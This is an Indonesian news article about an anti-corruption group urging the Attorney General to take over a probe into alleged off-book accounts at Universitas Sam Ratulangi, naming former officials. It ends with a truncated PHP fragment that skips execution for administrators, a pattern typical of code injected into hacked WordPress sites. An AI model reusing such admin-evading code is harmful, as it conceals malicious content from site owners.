Hukum

MJKS Desak Kejagung Ambil Alih Kasus Dugaan Korupsi Unsrat dan Usut Keterlibatan Adik Rocky Gerung

×

MJKS Desak Kejagung Ambil Alih Kasus Dugaan Korupsi Unsrat dan Usut Keterlibatan Adik Rocky Gerung

Sebarkan artikel ini

JAKARTA, MENARASUMBA.COM – Kepala Litbang Masyarakat Jaring Koruptor Sulut (MJKS), Dadang Suhendar SH mendatangi Gedung Kejaksaan Agung Republik Indonesia.

Kedatangan Dadang Suhendar pada Selasa (27/05/2025) ini untuk meminta Jaksa Agung Sanitiar Burhanuddin menggunakan kewenangannya melakukan supervisi terhadap penyelidikan kasus dugaan korupsi dan rekening liar oleh Kejaksaan Tinggi Sulawesi Utara di Universitas Sam Ratulangi (Unsrat) Manado, khususnya di Lembaga Penelitian dan Pengabdian pada Masyarakat (LPPM) Unsrat.

MJKS bahkan mendesak Kejaksaan Agung mengambil alih pengusutan kasus ini karena oknum penyidik Kejati Sulut dinilai lamban menetapkan tersangka dalam kasus tersebut.

“Kami minta aktor utama kasus korupsi dan rekening liar Unsrat yakni eks Rektor Unsrat berinisial EK dan eks Wakil Rektor Bidang Akademik Unsrat berinisial GV turut diusut Kejaksaan Agung RI,” ujar Dadang.

Pihaknya meminta Kejaksaan Agung segera memeriksa dua eks petinggi Unsrat yakni Ellen Kumaat dan Grevo Gerung.

Pasalnya, dalam lampiran dokumen pelaporan, kedua oknum dosen ini turut menerima aliran dana dari kerja sama antara LPPM Unsrat dengan sejumlah perusahaan di Manado, sebut Dadang usai memasukan surat permintaan supervisi dan pengawasan di Kantor Kejaksaan Agung RI.

Dirinya juga membeberkan data yang mengaitkan keterlibatan adik Rocky Gerung tersebut yakni dalam penggunaan anggaran kegiatan ‘Supervisory Service for Public Road Construction’ – Program Kerja Sama antara Unsrat, PT TTN, dan PT MSM senilai 1,2 miliar rupiah tahun 2024.

Ada pula anggaran untuk kajian Desain Kawasan, Desain Bangunan dan DED Kawasan Relokasi senilai kurang lebih 350 juta rupiah.

“Hampir seluruh kegiatan yang menggunakan anggaran kerja sama Unsrat dengan sejumlah perusahaan mitra ditampung di rekening yang tidak memiliki ijin dari Menteri Keuangan,” ungkapnya.

Selain itu seluruh kegiatan ini tidak dapat dipertangungjawabkan sebagaimana bukti data yang dilampirkan dalam surat permintaan tersebut.

Kasus rekening liar dalam dugaan korupsi di LPPM Unsrat mencuat setelah Kejati Sulut menerima laporan masyarakat atas kerja sama LPPM Unsrat dengan sejumlah perusahaan di Sulut.

Meski melanggar ketentuan pemerintah, dana kerja sama bernilai puluhan miliar rupiah ini sengaja ditampung dalam rekening atas nama PPLH Unsrat pada salah satu bank di Manado.

Dalam laporan yang diserahkan ke penyidik Kejati Sulut disebutkan, sejak tahun 2015 hingga 2024 penarikan dan pencairan dana dari rekening liar yang tanpa dokumen resmi tersebut mencapai kurang lebih 50 miliar rupiah.

“Semua pembayaran pihak ketiga tidak pernah melalui rekening resmi Unsrat,” beber Dadang.

Akibatnya, Unsrat sebagai BLU tidak pernah menerima akses fee sebesar 7 persen dari total uang disetor kurang lebih 50 miliar rupiah untuk semua kegiatan tersebut, sejak tahun 2015 sampai tahun 2024.

“Sehingga kami duga terjadi kerugian negara karena tidak masuk ke rekening Unsrat dari fee sekitar 3,5 miliar rupiah sebagai Penerimaan Negara Bukan Pajak atau PNBP,” imbuhnya.

Ia berharap Kejagung berani mengusut oknum berinisial GG meski yang bersangkutan adik kandung Rocky Gerung, tokoh kritis yang kerap mengkritik keras kebijakan pemerintah dan aparat penegak hukum.

Sementara itu, terkait pengusutan kasus ini, pihak Kejati Sulut melalui Kasipenkum Kejati Sulut, Januarius Bolitobi SH, sebelumnya telah memberikan keterangan pers di Manado pada 23 April 2025 lalu.

Dalam keterangan itu disebutkan bahwa penyidik Kejati Sulut telah memeriksa 44 saksi terkait penanganan dugaan korupsi di Rektorat Unsrat dan LPPM Unsrat. ( TAP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>